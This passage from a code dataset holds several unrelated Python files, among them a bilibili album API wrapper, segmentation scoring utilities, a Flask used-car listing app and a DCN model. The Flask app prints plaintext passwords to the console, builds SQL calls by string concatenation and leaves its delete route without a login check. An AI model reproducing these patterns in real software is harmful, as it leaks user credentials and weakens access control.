default='/data/guxiang/dataset',help=\"root to data\")\n    parser.add_argument('--p', type=float, default=6)\n    parser.add_argument('--lp_weight',type=float, default=0.3)\n    parser.add_argument('--rho', type=float, default=5)\n\n    args = parser.parse_args()\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu_id\n    args.start_adapt = 0\n    args.normalize_classifier = True\n    args.gamma = 0.001\n    args.lr = 1e-3\n    args.worker = 4\n    args.con_weight = 1.0\n    args.output = f\"run_{args.seed}\"\n\n    if args.dset == 'domainnet':\n        names = ['clipart', 'painting', 'real', 'sketch']\n        k = 40\n        args.class_num = 126\n        args.max_iterations = 8000\n        args.test_interval = 1000\n        args.weight_update_interval = 1000\n        args.start_adapt = args.weight_update_interval\n        args.sampler = \"weighted_sampler\"\n\n    if args.dset == 'office_home':\n        names = ['Art', 'Clipart', 'Product', 'RealWorld']\n        k = 25\n        args.class_num = 65\n        args.test_interval = 500\n        args.max_iterations = 3000\n        args.weight_update_interval = 500\n        args.sampler = \"uniform_sampler\"\n        args.start_adapt = args.weight_update_interval\n\n    if args.dset == 'office':\n        names = ['amazon', 'dslr', 'webcam']\n        k = 10\n        args.class_num = 31\n        args.max_iterations = 4000\n        args.test_interval = 200\n        args.weight_update_interval = 500\n        args.lr = 5e-4\n        args.lp_weight = 1.0\n        args.start_adapt = 1500\n        args.sampler = \"uniform_sampler\"\n\n    if args.dset == 'imagenet_caltech':\n        names = ['imagenet', 'caltech']\n        k = 84\n        if args.s == 1:\n            args.class_num = 256\n            args.max_iterations = 10000\n            args.weight_update_interval = 1000\n            args.sampler = \"weighted_sampler\"\n        else:\n            args.class_num = 1000\n            args.max_iterations = 20000\n            args.weight_update_interval = 2000\n            args.sampler = \"subset_sampler\"\n            args.gamma = 0.0004\n        args.test_interval = 1000\n        args.start_adapt = args.weight_update_interval\n\n    if args.dset == 'visda-2017':\n        names = ['train', 'validation']\n        k = 6\n        args.class_num = 12\n        args.max_iterations = 6000\n        args.test_interval = 1000\n        args.weight_update_interval = 1000\n        if args.s == 0:\n            args.lr = 1e-4\n            args.sampler = \"weighted_sampler\"\n            args.normalize_classifier = False\n        else:\n            raise NotImplementedError\n        args.lp_weight = 1.0\n\n    args.radius = utils.recommended_radius(args.class_num)\n    args.bottleneck_dim = utils.recommended_bottleneck_dim(args.class_num)\n\n    torch.manual_seed(args.seed)\n    torch.cuda.manual_seed(args.seed)\n    np.random.seed(args.seed)\n    random.seed(args.seed)\n    torch.backends.cudnn.deterministic = True\n\n    data_folder = './data/'\n    args.s_dset_path = data_folder + args.dset + '/' + names[args.s] + '.txt'\n    args.t_dset_path = data_folder + args.dset + '/' + names[args.t] + '_' + str(k) + '.txt'\n\n    args.name = names[args.s][0].upper() + names[args.t][0].upper()\n    args.output_dir = os.path.join('ckp/', args.dset, args.name, args.output)\n\n    if not os.path.exists(args.output_dir):\n        os.makedirs(args.output_dir)\n    args.out_file = open(os.path.join(args.output_dir, \"log.txt\"), \"w\")\n    if not os.path.exists(args.output_dir):\n        os.mkdir(args.output_dir)\n\n    args.out_file.write(str(args) + '\\n')\n    args.out_file.flush()\n\n    train(args)\n\n","repo_name":"XJTU-XGU/ARPM","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19705,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"22813443947","text":"\"\"\"\r\nbilibili_api.album\r\n\r\n相簿相关\r\n\"\"\"\r\n\r\nimport enum\r\nfrom typing import Any, List, Union, Optional\r\n\r\nfrom .utils.utils import get_api\r\nfrom .utils.picture import Picture\r\nfrom .exceptions import ArgsException\r\nfrom .utils.credential import Credential\r\nfrom .utils.network_httpx import Api\r\n\r\nAPI = get_api(\"album\")\r\n\r\n\r\nclass AlbumCategory(enum.Enum):\r\n    \"\"\"\r\n    相簿分区枚举。\r\n\r\n    - ALL   : 全部\r\n    - PAINTS: 画友\r\n    - PHOTOS: 摄影\r\n    \"\"\"\r\n\r\n    ALL = 0\r\n    PAINTS = 1\r\n    PHOTOS = 2\r\n\r\n\r\nclass AlbumOrder(enum.Enum):\r\n    \"\"\"\r\n    相簿排序顺序枚举。\r\n\r\n    - RECOMMEND: 推荐\r\n    - HOT      : 最火（并非所有函数的所有分区均对此项支持）\r\n    - NEW      : 最新（并非所有函数的所有分区均对此项支持）\r\n    \"\"\"\r\n\r\n    RECOMMEND = \"recommend\"\r\n    HOT = \"hot\"\r\n    NEW = \"new\"\r\n\r\n\r\nclass Album:\r\n    \"\"\"\r\n    相簿类，各种对相簿的操作均在其中。\r\n    \"\"\"\r\n\r\n    def __init__(self, doc_id: int, credential: Union[None, Credential] = None):\r\n        \"\"\"\r\n        Args:\r\n            doc_id (int): 相簿 ID。如 https://h.bilibili.com/1919 的 doc_id 为 1919\r\n\r\n            credential (Credential): 用户凭证。\r\n        \"\"\"\r\n        self.__doc_id = doc_id\r\n        self.credential: Credential = Credential() if credential is None else credential\r\n\r\n        self.__info: Union[dict, None] = None\r\n\r\n    def get_doc_id(self) -> int:\r\n        return self.__doc_id\r\n\r\n    async def get_info(self) -> dict:\r\n        \"\"\"\r\n        获取相簿完整信息。\r\n\r\n        Returns:\r\n            dict: 相簿信息。\r\n        \"\"\"\r\n        api = API[\"info\"][\"detail\"]\r\n        params = {\"doc_id\": self.get_doc_id()}\r\n        resp = await Api(**api).update_params(**params).result\r\n        self.__info = resp\r\n        return resp\r\n\r\n    async def __get_info_cached(self) -> dict:\r\n        \"\"\"\r\n        获取相簿信息，如果已获取过则使用之前获取的信息，没有则重新获取。\r\n\r\n        Returns:\r\n            dict: 调用 API 返回的结果。\r\n        \"\"\"\r\n        if self.__info is None:\r\n            return await self.get_info()\r\n        return self.__info\r\n\r\n    async def get_author(self) -> dict:\r\n        \"\"\"\r\n        获取相簿作者信息。\r\n\r\n        Returns:\r\n            dict: 相簿作者信息。\r\n        \"\"\"\r\n        info = await self.__get_info_cached()\r\n        return info[\"item\"][\"user\"]\r\n\r\n    async def get_pictures(self) -> List[Picture]:\r\n        \"\"\"\r\n        获取相簿中的图片。\r\n\r\n        Returns:\r\n            List[Picture]: 相簿中的图片。\r\n        \"\"\"\r\n        info = await self.get_info()\r\n        pictures = []\r\n        for picture in info[\"item\"][\"pictures\"]:\r\n            pictures.append(await Picture.async_load_url(picture[\"img_src\"]))\r\n        return pictures\r\n\r\n\r\nasync def get_homepage_albums_list(\r\n    category: AlbumCategory = AlbumCategory.ALL,\r\n    order: AlbumOrder = AlbumOrder.RECOMMEND,\r\n    page_num: int = 1,\r\n    page_size: int = 45,\r\n    credential: Optional[Credential] = None,\r\n) -> dict:\r\n    \"\"\"\r\n    获取相簿列表。\r\n\r\n    Args:\r\n        category   (AlbumCategory)       : 分区. Defaults to AlbumCategory.ALL\r\n\r\n        order      (AlbumOrder)          : 排序方式. Defaults to AlbumOrder.RECOMMEND\r\n\r\n        page_num   (int)                 : 第几页. Defaults to 1.\r\n\r\n        page_size  (int)                 : 每一页的数据大小. Defaults to 45.\r\n\r\n        credential (Optional[Credential]): 凭据类. Defaults to None.\r\n\r\n    Returns:\r\n        dict: 调用 API 返回的结果\r\n    \"\"\"\r\n\r\n    async def get_painter() -> dict:\r\n        api = API[\"info\"][\"homepage_painter_albums_list\"]\r\n        if order != AlbumOrder.RECOMMEND:\r\n            raise ArgsException(\"摄影相簿暂不支持以热度/以时间排序。\")\r\n        params = {\"type\": order.value, \"page_num\": page_num, \"page_size\": page_size}\r\n        return await Api(**api, credential=credential).update_params(**params).result\r\n\r\n    async def get_photos() -> dict:\r\n        api = API[\"info\"][\"homepage_photos_albums_list\"]\r\n        if order != AlbumOrder.RECOMMEND:\r\n            raise ArgsException(\"摄影相簿暂不支持以热度/以时间排序。\")\r\n        params = {\"type\": order.value, \"page_num\": page_num, \"page_size\": page_size}\r\n        return await Api(**api, credential=credential).update_params(**params).result\r\n\r\n    if category == AlbumCategory.PAINTS:\r\n        return await get_painter()\r\n    elif category == AlbumCategory.PHOTOS:\r\n        return await get_photos()\r\n    else:\r\n        result = await get_painter()\r\n        result[\"items\"] += (await get_photos())[\"items\"]  # type: ignore\r\n        result[\"total_count\"] += (await get_photos())[\"total_count\"]  # type: ignore\r\n        return result\r\n\r\n\r\nasync def get_homepage_recommend_uppers(\r\n    category: AlbumCategory = AlbumCategory.ALL,\r\n    numbers: int = 6,\r\n    credential: Optional[Credential] = None,\r\n) -> dict:\r\n    \"\"\"\r\n    获取首页推荐相簿 up 主。\r\n\r\n    Args:\r\n        category   (AlbumCategory)       : 分区. Defaults to AlbumCategory.ALL\r\n\r\n        numbers    (int)                 : 获取数据的大小. Defaults to 6. (分区为全部时此参数必须为偶数。)\r\n\r\n        credential (Optional[Credential]): 凭据类. Defaults to None.\r\n\r\n    Returns:\r\n        dict: 调用 API 返回的结果\r\n    \"\"\"\r\n\r\n    async def get_painters() -> dict:\r\n        api = API[\"info\"][\"homepage_recommended_painters\"]\r\n        params = {\"num\": numbers}\r\n        return await Api(**api, credential=credential).update_params(**params).result\r\n\r\n    async def get_photos_uppers() -> dict:\r\n        api = API[\"info\"][\"homepage_recommended_photos_uppers\"]\r\n        params = {\"num\": numbers}\r\n        return await Api(**api, credential=credential).update_params(**params).result\r\n\r\n    if category == AlbumCategory.PAINTS:\r\n        return await get_painters()\r\n    elif category == AlbumCategory.PHOTOS:\r\n        return await get_photos_uppers()\r\n    else:\r\n        if numbers % 2 == 1:\r\n            raise ArgsException(\"全部分区的推荐 up 的请求数量需为偶数。\")\r\n        numbers //= 2\r\n        items = await get_painters()\r\n        items += await get_photos_uppers()  # type: ignore\r\n        return items\r\n\r\n\r\nasync def get_user_albums(\r\n    uid: int,\r\n    category: AlbumCategory = AlbumCategory.ALL,\r\n    page_num: int = 1,\r\n    page_size: int = 45,\r\n    credential: Optional[Credential] = None,\r\n):\r\n    \"\"\"\r\n    获取指定用户的相簿列表。\r\n\r\n    Args:\r\n        uid        (int)                 : 用户 uid\r\n\r\n        category   (AlbumCategory)       : 分区. Defaults to AlbumCategory.ALL\r\n\r\n        page_num   (int)                 : 第几页. Defaults to 1.\r\n\r\n        page_size  (int)                 : 每一页的数据大小. Defaults to 45.\r\n\r\n        credential (Optional[Credential]): 凭据类. Defaults to None.\r\n\r\n    Returns:\r\n        dict: 调用 API 返回的结果\r\n    \"\"\"\r\n    api = API[\"info\"][\"user_albums\"]\r\n    params = {\r\n        \"biz\": category.value,\r\n        \"poster_uid\": uid,\r\n        \"page_num\": page_num,\r\n        \"page_size\": page_size,\r\n    }\r\n    return await Api(**api, credential=credential).update_params(**params).result\r\n","repo_name":"Nemo2011/bilibili-api","sub_path":"bilibili_api/album.py","file_name":"album.py","file_ext":"py","file_size_in_byte":7262,"program_lang":"python","lang":"en","doc_type":"code","stars":1410,"dataset":"github-code","pt":"21"}
+{"seq_id":"2193388733","text":"import numpy as np \nfrom skimage import morphology\nfrom scipy import ndimage as ndi\nimport glob\nimport os \nfrom scipy import misc\n\n\ndef intersection_over_union(y_true, y_pred):\n    \"\"\"Computes the intersection over union of to arrays containing 1's and 0's\n\n    Assumes y_true has converted from real value to binary values. \n    \"\"\"\n\n    if np.sum(y_true == 1) + np.sum(y_true == 0) != y_true.shape[0]*y_true.shape[1]:\n        raise ValueError('Groud truth mask must only contain values from the set {0,1}')\n\n    if np.sum(y_pred == 1) + np.sum(y_pred == 0) != y_pred.shape[0]*y_pred.shape[1]:\n        raise ValueError('Segmentation mask must only contain values from the set {0,1}')\n\n    if y_true.ndim != 2:\n        if y_true.shape[2] != 1 or y_true.shape[2] != 0:\n            raise ValueError('Too many ground truth masks are present')\n\n    if y_pred.ndim != 2:\n        if y_pred.shape[2] != 1 or y_pred.shape[2] != 0:\n            raise ValueError('too many segmentation masks are present')\n\n    if y_pred.shape != y_true.shape:\n        raise ValueError('The dimensions of y_true, and y_pred are not the same')\n\n    intersection = np.sum(y_true * y_pred).astype(np.float)\n    union = np.sum(np.clip(y_true + y_pred, 0, 1)).astype(np.float)\n\n    # Alternatively we can return some small value epsilon\n    if union == 0:\n        # return 1e-10\n        return 0\n\n    else:\n        return intersection/union # + 1e-10\n\n\ndef jaccard_distance(y_true, y_pred):\n    return 1 - intersection_over_union(y_true, y_pred)\n\n\ndef average_squared_distance(y_true, y_pred):\n    if y_pred.shape != y_true.shape:\n        raise ValueError('The dimensions of y_true, and y_pred are not the same')\n\n    return np.sqrt(np.sum(np.power(y_true - y_pred, 2)))\n\n\ndef average_squared_log_distance(y_true, y_pred):\n    if y_pred.shape != y_true.shape:\n        raise ValueError('The dimensions of y_true, and y_pred are not the same')\n    \n    dist = np.abs(y_true-y_pred) \n    return np.sqrt(np.sum(np.power(np.log1p(dist), 2)))\n\n\ndef get_centroid(seg_mask, slices):\n    sliced = seg_mask[slices]\n    ys, xs = np.where(sliced)\n    \n    # get the centroid coordinates in the original image\n    y_cent = np.round(ys.mean()).astype(np.int) + slices[0].start\n    x_cent = np.round(xs.mean()).astype(np.int) + slices[1].start\n    return y_cent, x_cent\n\n\ndef find_largest_obj(seg_mask, objs):\n    counts = list()\n    for slices in objs:\n        counts.append((seg_mask[slices]).sum())\n    max_id = np.argmax(np.array(counts))\n    largest_obj = objs[max_id]\n    return largest_obj\n\n\ndef get_centroid_largest_blob(seg_mask):\n    labeled_blobs = ndi.label(seg_mask)\n    objs = ndi.find_objects(labeled_blobs[0])\n    largest_obj = find_largest_obj(seg_mask, objs)\n    return np.array(get_centroid(seg_mask, largest_obj))\n\n\ndef score_run_iou(gt_dir, pred_dir):\n    gt_files = sorted(glob.glob(os.path.join(gt_dir, 'masks', '*.png')))\n    pred_files = sorted(glob.glob(os.path.join(pred_dir, '*.png')))\n    ious = [0,0,0]\n    n_preds = len(gt_files)\n    n_true_pos = 0 \n    n_false_neg = 0\n    n_false_pos = 0\n\n    for e, gt_file in enumerate(gt_files):\n        gt_mask = misc.imread(gt_file).clip(0, 1)\n        pred_mask = (misc.imread(pred_files[e]) > 127).astype(np.int)\n\n        if gt_mask.shape[0] != pred_mask.shape[0]:\n            gt_mask = misc.imresize(gt_mask, pred_mask.shape)\n\n        for i in range(3):\n            ious[i] += intersection_over_union(pred_mask[:,:,i], gt_mask[:,:,i])\n\n\n        if gt_mask[:,:,2].sum() > 3:\n            if pred_mask[:,:, 2].sum() > 3:\n                n_true_pos += 1\n            else:\n                n_false_neg += 1\n\n        else:\n            if pred_mask[:, :, 2].sum() > 3:\n                n_false_pos += 1\n\n    background = ious[0] / n_preds\n    people = ious[1] / n_preds\n    hero = ious[2] / n_preds\n\n    print('number of validation samples intersection over the union evaulated on {}'.format(n_preds))\n    print('average intersection over union for background is {}'.format(background))\n    print('average intersection over union for other people is {}'.format(people))\n    print('average intersection over union for the hero is {}'.format(hero))\n    print('number true positives: {}, number false positives: {}, number false negatives: {}'.format(n_true_pos, n_false_pos, n_false_neg))\n    return n_true_pos, n_false_pos, n_false_neg, hero\n\n\ndef score_run_centroid(gt_dir, pred_dir):\n    gt_files = sorted(glob.glob(os.path.join(gt_dir, 'masks', '*.png')))\n    pred_files = sorted(glob.glob(os.path.join(pred_dir, '*.png')))\n\n    error1 = 0\n    error2 = 0\n    n_valid_detections = 0\n    n_invalid_detections = 0\n    n_missed = 0\n\n    for e, gt_file in enumerate(gt_files):\n        gt_mask = misc.imread(gt_file)[:, :, 1].clip(0, 1)\n        pred_mask = (misc.imread(pred_files[e])[:, :, 1] > 127).astype(np.int)\n        if gt_mask.shape[0] != pred_mask.shape[0]:\n            gt_mask = misc.imresize(gt_mask, pred_mask.shape)\n\n        # there target was in the image\n        if gt_mask.sum() > 3:\n            if pred_mask.sum() > 3:\n                gt_centroid = get_centroid_largest_blob(gt_mask)\n                pred_centroid = get_centroid_largest_blob(pred_mask)\n                error1 += average_squared_distance(pred_centroid, gt_centroid)\n                error2 += average_squared_log_distance(pred_centroid, gt_centroid)\n                n_valid_detections += 1\n            else:\n                n_missed += 1\n\n        # the target was not in the image\n        else:\n            # we got a false positive\n            if pred_mask.sum() > 3:\n                n_invalid_detections += 1\n\n    n_preds = len(gt_files)\n    print('total number of images evaluated on'.format(n_preds))\n\n    print('number of true positives: {}'.format(n_valid_detections))\n    print('number of false positives is: {}'.format(n_invalid_detections))\n    print('number of false negatives is : {}'.format(n_missed))\n\n    if n_valid_detections > 0:\n        print('The following two metrics are only computed on examples where a valid centroid was detected')\n        print('average squared pixel distance error {}'.format(error1 / n_valid_detections))\n        print('average squared log pixel distance error {}'.format(error2 / n_valid_detections))\n\n","repo_name":"udacity/RoboND-DeepLearning-Project","sub_path":"code/utils/scoring_utils.py","file_name":"scoring_utils.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"21"}
+{"seq_id":"24505706630","text":"import pyodbc\nimport os\nfrom flask import Flask, render_template, session\nfrom connection import connection_uri\nfrom flask import Flask, render_template, request, redirect, url_for\nfrom models import db_models\nfrom models.User import User\nfrom flask_login import (\n    LoginManager,\n    current_user,\n    login_required,\n    login_user,\n    logout_user,\n)\n\nUsedCarCentral = Flask(__name__)\n\n# User session management setup\n# https://flask-login.readthedocs.io/en/latest\nlogin_manager = LoginManager()\nlogin_manager.init_app(UsedCarCentral)\nUsedCarCentral.secret_key = os.environ.get(\"SECRET_KEY\") or os.urandom(24)\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n    # Load user from database\n    return User.get_by_id(user_id)\n\n@UsedCarCentral.route('/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        email = request.form.get('email')\n        session[\"email\"] = email\n        password = request.form.get('password')\n        print(email,password)\n        user =User.get_by_email(email)\n        print(email,password)\n        \n        if user and User.check_password(user,password):\n            session[\"email\"] = email\n            login_user(user)\n            return redirect(url_for('home'))\n        else:\n            return render_template('login.html', error='Invalid username or password !')\n    else:\n        return render_template('login.html')\n\n@UsedCarCentral.route('/logout')\n@login_required\ndef logout():\n    logout_user()\n    return redirect(url_for('login'))\n\n@UsedCarCentral.route('/home')\n@login_required\ndef home():\n    return render_template('prelisting.html', user=current_user)\n\n\n@UsedCarCentral.route('/landing')\n@UsedCarCentral.route('/')\ndef landing():\n    return render_template('landing.html')\n\n@UsedCarCentral.route('/register', methods=['GET', 'POST'])\ndef register():\n    print(request.method)\n    if request.method == 'POST':\n        print(\"inPost\")\n        name = request.form.get('name')\n        email = request.form.get('email')\n        password = request.form.get('password')\n        confirm_password = request.form.get('confirm_password')\n        print(name,email,password)\n        if password != confirm_password:\n            return render_template('register.html', error='Passwords do not match')\n        if User.get_by_email(email):\n            return render_template('register.html', error='Username already taken')\n        # user = User(name=name, password=password, email=email)\n        # print(user)\n        print('gng to register')\n        user=User.register(name,email,password)\n        session[\"email\"] = email\n        login_user(user)\n        return redirect(url_for('home'))\n    else:\n        print(\"inGet\")\n        return render_template('register.html')\n\n@UsedCarCentral.route(\"/getcarlistings\")\ndef getcarlistings():\n    car_listings = []\n    con = connection_uri()\n    cursor = con.cursor()\n    # stored_proc_name = 'real.ReadCarListings'\n    # params = []\n    cursor.execute(\"EXEC real.ReadCarListings \")\n    result_set = cursor.fetchall()\n\n    # i = 0\n    # for row in result_set:\n    #     print(row)\n    for row in result_set:\n        #print('inside') \n        car_listings.append(\n                                {\n                                    \"model\": row[0]\n                                    , \"manufacturer\": row[1]\n                                    , \"price\": row[2]\n                                    , \"size\": row[3]\n                                    , \"condition\": row[4]\n                                    , \"city\": row[5]\n                                    , \"state\": row[6]\n                                    , \"date\": row[7] \n                                }\n                            )\n        # i += 1\n        # print('next ', i)\n    return render_template(\"listing.html\", car_listings = car_listings)\n\n#     return render_template(\"index.html\")\n\n@UsedCarCentral.route(\"/getmycarlistings\", methods = ['GET', 'POST'])\ndef getmycarlistings():\n    if request.method == 'GET':\n        my_car_listings = []\n        try:\n            #print(session)\n            user=current_user\n            #print(user.id)\n            con = connection_uri()\n            cursor = con.cursor()\n            print('user is ', user.name, user.id)\n            cursor.execute(\"EXEC real.ReadUserCarListings \"+str(user.id))\n            print('Here')\n            result_set = cursor.fetchall()\n            for row in result_set:\n                #print('inside') \n                my_car_listings.append(\n                                        {\n                                            \"model\": row[0]\n                                            , \"manufacturer\": row[1]\n                                            , \"price\": row[2]\n                                            , \"size\": row[3]\n                                            , \"condition\": row[4]\n                                            , \"city\": row[5]\n                                            , \"state\": row[6]\n                                            , \"date\": row[7] \n                                            , \"listingid\" : row[8]\n                                        }\n                                    )\n            #print(my_car_listings)\n            return render_template(\"mylisting.html\", car_listings = my_car_listings)\n        except:\n            error = 'Please login to your account to check your car listings!'\n            print(error)\n            render_template(\"login.html\", error = error)\n            return redirect('/login')\n    else:\n        return redirect('/getmycarlistings')\n    \n@UsedCarCentral.route(\"/filterForUpdates/<int:listing_id>\", methods = ['GET','POST'])\ndef filterForUpdates(listing_id):\n    print(\"updates\")\n    print(listing_id)\n    if request.method == \"POST\":\n        print(\"updates post\")\n        updated_listings = {}\n        #print(car_id)\n        updated_listings['model'] = request.form.get('model')\n        updated_listings['manufacturer'] = request.form.get('manufacturer')\n        updated_listings['price'] = request.form.get('price')\n        updated_listings['size'] = request.form.get('carSize')\n        updated_listings['city'] = request.form.get('city')\n        updated_listings['state'] = request.form.get('state')\n        updated_listings['condition'] = request.form.get('carCondition')\n        print(updated_listings)\n        db_models.updateCarListings(updated_listings, listing_id)\n        #return redirect('/getmycarlistings')\n        return redirect('/getmycarlistings')\n    else:\n        print(\"Updates Get\")\n        user_car_listings = {}\n        #print (updateField,updateValue)\n        user=current_user\n        #print(user.id)\n        con = connection_uri()\n        cursor = con.cursor()\n        print('user is ', user.name, user.id)\n        cursor.execute(\"EXEC real.ReadUserCarListing \"+str(user.id)+\", \"+str(listing_id))\n        print('Here')\n        row = cursor.fetchone()\n        print(row)\n        user_car_listings = {\n            \"model\": row[0]\n            , \"manufacturer\": row[1]\n            , \"price\": row[2]\n            , \"size\": row[3]\n            , \"condition\": row[4]\n            , \"city\": row[5]\n            , \"state\": row[6]\n            , \"listingid\": row[7]\n            }\n        print(user_car_listings)\n        return render_template(\"FilterForUpdates.html\", car_details = user_car_listings)\n        #return render_template(\"FilterForUpdates.html\")\n\n\n@UsedCarCentral.route(\"/success\")\ndef Success():\n    return 'Success!'\ncar_listing_data = {}\n\n@UsedCarCentral.route(\"/addcarlisting\", methods = ['GET', 'POST'])\ndef addCarListing():\n    if request.method == 'GET':\n        return render_template(\"AddCarMasterData.html\")\n    if request.method == \"POST\":\n        #id = int(request.form[\"id\"])\n        manufacturer = str(request.form[\"manufacturer\"])\n        modelYear = str(request.form[\"modelYear\"])\n        cylinderCount = str(int(request.form[\"cylinderCount\"])) + ' cylinders'\n        fuelType = str(request.form[\"fuelType\"])\n        transmissionType = str(request.form[\"transmissionType\"])\n        carSize = str(request.form[\"carSize\"])\n        carBodyType = str(request.form[\"carBodyType\"])\n        carColor = str(request.form[\"carColor\"])\n        vehicleIdentificationNum = str(request.form[\"vehicleIdentificationNum\"])\n        driveType = str(request.form[\"driveType\"])\n        # print('fetching Done')\n        # print('id',id)\n        # print('cylinderCount',cylinderCount)\n        # print('fuelType',fuelType)\n        # print('transmissionType',transmissionType)\n        # print('carSize',carSize)\n        # print('carBodyType',carBodyType)\n        # print('carColor',carColor)\n        # print('vehicleIdentificationNum',vehicleIdentificationNum)\n        # print('driveType',driveType)\n        car_listing_data[\"model\"] = str(request.form[\"model\"])\n        car_listing_data[\"manufacturer\"] = manufacturer\n        car_listing_data[\"modelYear\"] = modelYear\n        car_listing_data[\"cylinderCount\"] = cylinderCount\n        car_listing_data[\"fuelType\"] = fuelType\n        car_listing_data[\"transmissionType\"] = transmissionType\n        car_listing_data[\"carSize\"] = carSize\n        car_listing_data[\"carBodyType\"] = carBodyType\n        car_listing_data[\"carColor\"] = carColor\n        car_listing_data[\"vehicleIdentificationNum\"] = vehicleIdentificationNum\n        car_listing_data[\"driveType\"] = driveType\n        car_listing_data[\"price\"] = float(request.form[\"price\"])\n        #print(car_listing_data)\n        return redirect('/addcardetails')\n        \n@UsedCarCentral.route(\"/addcardetails\", methods = ['GET', 'POST'])\ndef addCarDetails():\n    if request.method == 'GET':\n        return render_template(\"AddCarDetails.html\")\n    if request.method == \"POST\":\n        car_listing_data[\"carCondition\"] = str(request.form[\"carCondition\"])\n        car_listing_data[\"odometerReading\"] = str(request.form[\"odometerReading\"])\n        car_listing_data[\"carStatus\"] = str(request.form[\"carStatus\"])\n        car_listing_data[\"imageUrl\"] = str(request.form[\"imageUrl\"])\n        car_listing_data[\"carDesc\"] = str(request.form[\"carDesc\"])\n        # print(car_listing_data)\n        return redirect('/addlocation')\n    \n@UsedCarCentral.route(\"/addlocation\", methods = ['GET', 'POST'])\ndef addLocationDetails():\n    if request.method == 'GET':\n        return render_template(\"AddLocationDetails.html\")\n    if request.method == \"POST\":\n        car_listing_data[\"city\"] = str(request.form[\"city\"])\n        car_listing_data[\"state\"] = str(request.form[\"state\"])\n        car_listing_data[\"latitude\"] = float(request.form[\"latitude\"])\n        car_listing_data[\"logitude\"] = float(request.form[\"logitude\"])\n        car_listing_data[\"craigsCityUrl\"] = car_listing_data[\"city\"] + '-craigslist.org'\n        user = current_user\n        car_listing_data[\"userid\"] = user.id\n        print(car_listing_data)\n        out = db_models.insertCarListing(car_listing_data)\n        #print(out)\n        if out == 0:\n            return redirect('/getmycarlistings')\n        return redirect('/')\n\n    \n@UsedCarCentral.route('/delete/<int:listingid>', methods=['GET'])\ndef deleteCarListing(listingid):\n    user = current_user\n    print(listingid)\n    conn = connection_uri()\n    cursor = conn.cursor()\n    out = 0\n    #cursor.execute(\"EXEC real.DeleteCarListing \"+str(user.id)+\",\"+str(listingid))\n    # Call the stored procedure\n    user_id = int(user.id)\n    listing_id = listingid\n    #cursor.execute(\"{CALL real.DeleteCarListing(?, ?)}\", user_id, listing_id)\n    print('Excecuting')\n    statement = \"EXEC real.DeleteCarListing \"+ str(user_id)+\", \"+str(listing_id)\n    #statement = \"Delete from  \"\n    print('Excecuted..')\n    cursor.execute(statement)\n    cursor.close()\n    conn.commit()\n    conn.close()\n    print(out)\n    #result_set = cursor.fetchall()\n    #print(result_set)\n    return redirect('/getmycarlistings')\n    \n    \nif __name__ == \"__main__\":\n    UsedCarCentral.run(host='0.0.0.0')\n    \n    ","repo_name":"ramkiran55/UsedCarCentral","sub_path":"UsedCarCentral.py","file_name":"UsedCarCentral.py","file_ext":"py","file_size_in_byte":11946,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"7003396484","text":"# loops\n# iterators\n\nname = \"alex\"\nfruits = [\"Banana\", \"Orange\", \"pear\", \"chery\"]\n#\nprint(\"This looop\")\nfor wepizza in fruits:  # python automatically get the length of collection and iterate over it that many number of times\n    # the variable wepizza (loop variable) will automatically fetch items from the collection\n    print(wepizza)\n\n# to comment everything at once | select the text | ctrl + /\n# # 0 - 4\n# for i in range(len(name)):\n#     print(name[i])\n","repo_name":"aaqidmasoodi/alexPythonRefresh","sub_path":"iterators.py","file_name":"iterators.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33344678099","text":"# -*- coding: utf-8 -*-#\n\"\"\"\nName:         dcn\nAuthor:       路子野\nDate:         2020/5/28\n\"\"\"\n\nfrom torchctr.layers.base import DNN\nfrom torchctr.layers.interaction import CrossNet\nfrom torchctr.layers.activation import activation_layer\nimport torch\nimport torch.nn as nn\nfrom torchctr.models.basemodel import BaseModel\nfrom torchctr.inputs import SparseFeat,DenseFeat\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nclass DCN(BaseModel):\n    \"\"\"\n    Instantiates the Deep&Cross Network architecture.\n    \"\"\"\n    def __init__(self,module_columns_dict,init_std=0.0001,\n                 task=\"binary\",cross_layer=3,hidden_units=[128,64],dropout_rate=0.5,\n                 activation=\"relu\",init_method=\"normal\"):\n        \"\"\"\n        :param module_columns_dict:\n        :param init_std:\n        :param task:\n        :param cross_layer:\n        :param hidden_units:\n        :param dropout_rate:\n        :param activation:\n        \"\"\"\n        module_columns = []\n        try:\n            module_columns.append(module_columns_dict[\"cross\"])\n            module_columns.append(module_columns_dict[\"deep\"])\n        except:\n            raise ValueError(\"the module's name is wrong\")\n\n        super().__init__(module_columns=module_columns,\n                         init_std=init_std,\n                         task=task)\n\n        cross_input_dim = self._getInputDim(0)\n        dnn_input_dim = self._getInputDim(1)\n\n\n        self.cross_net = CrossNet(cross_layer=cross_layer,\n                               input_dim=cross_input_dim,\n                               init_std=init_std,\n                               init_method=init_method)\n\n        self.dnn = DNN(input_dim=dnn_input_dim,\n                       hidden_units=hidden_units,\n                       dropout_rate=dropout_rate,\n                       init_std=init_std,\n                       activation=activation)\n\n        self.outer = torch.nn.Linear(cross_input_dim+hidden_units[-1],1)\n        self.sigmoid = torch.nn.Sigmoid()\n\n    def forward(self,x):\n        \"\"\"\n        :param x: 2D tensor, with shape (batch,filed*module)\n        :return:\n        \"\"\"\n        cross_x = x[:,:len(self.module_cols[0])]\n        deep_x = x[:, len(self.module_cols[1]):]\n\n        cross_input = self._get2Dtensor(cross_x,0)  # (batch,filed*embedding_dim+dense)\n        cross = self.cross_net(cross_input)  #(batch,input_dim)\n\n        deep_input = self._get2Dtensor(deep_x,1)  # (batch,filed*embedding_dim+dense)\n        deep = self.dnn(deep_input) #(batch,hidden_units[-1])\n        out = self.sigmoid(self.outer(torch.cat([cross,deep],dim=1)))\n\n        return 